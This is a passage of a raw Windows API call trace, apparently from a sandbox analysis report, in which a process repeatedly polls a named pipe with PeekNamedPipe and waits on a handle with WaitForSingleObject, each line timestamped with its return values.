nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.960] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0109.993] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.993] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0110.091] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0110.091] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0110.307] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0110.307] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0110.369] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0110.370] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0111.251] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0111.253] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0111.277] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0111.279] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0111.477] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0111.712] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0111.757] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0111.757] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0112.572] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0112.685] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.133] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.134] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.158] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.158] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.200] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.200] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.995] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.995] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.016] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.017] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.047] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.047] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.079] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.079] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.121] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.121] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.146] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.146] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.172] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.172] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.204] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.204] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.236] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.236] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.266] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.266] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.297] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.297] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.328] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.328] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.524] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.524] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.546] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.547] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.602] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.602] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.624] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.625] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.656] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.656] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.687] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.687] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.718] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.718] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.750] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.750] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.781] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.781] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.812] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.812] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.843] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.843] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.874] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.874] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.905] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.905] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.937] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.937] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.968] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.968] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.999] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.999] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.030] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.030] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.062] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.062] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.093] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.093] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.124] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.124] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.155] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.155] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.187] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.187] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.217] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.217] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.249] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.249] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.280] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.280] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.311] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.311] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.342] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.342] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.373] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.374] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.405] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.405] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.436] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.436] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.467] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.467] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.498] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.498] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.539] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.539] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.561] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.561] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.592] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.592] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.623] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.623] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.654] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.654] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.707] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.707] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.752] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.753] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.784] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.784] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.810] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.810] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.841] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.841] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.873] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.873] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.904] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, 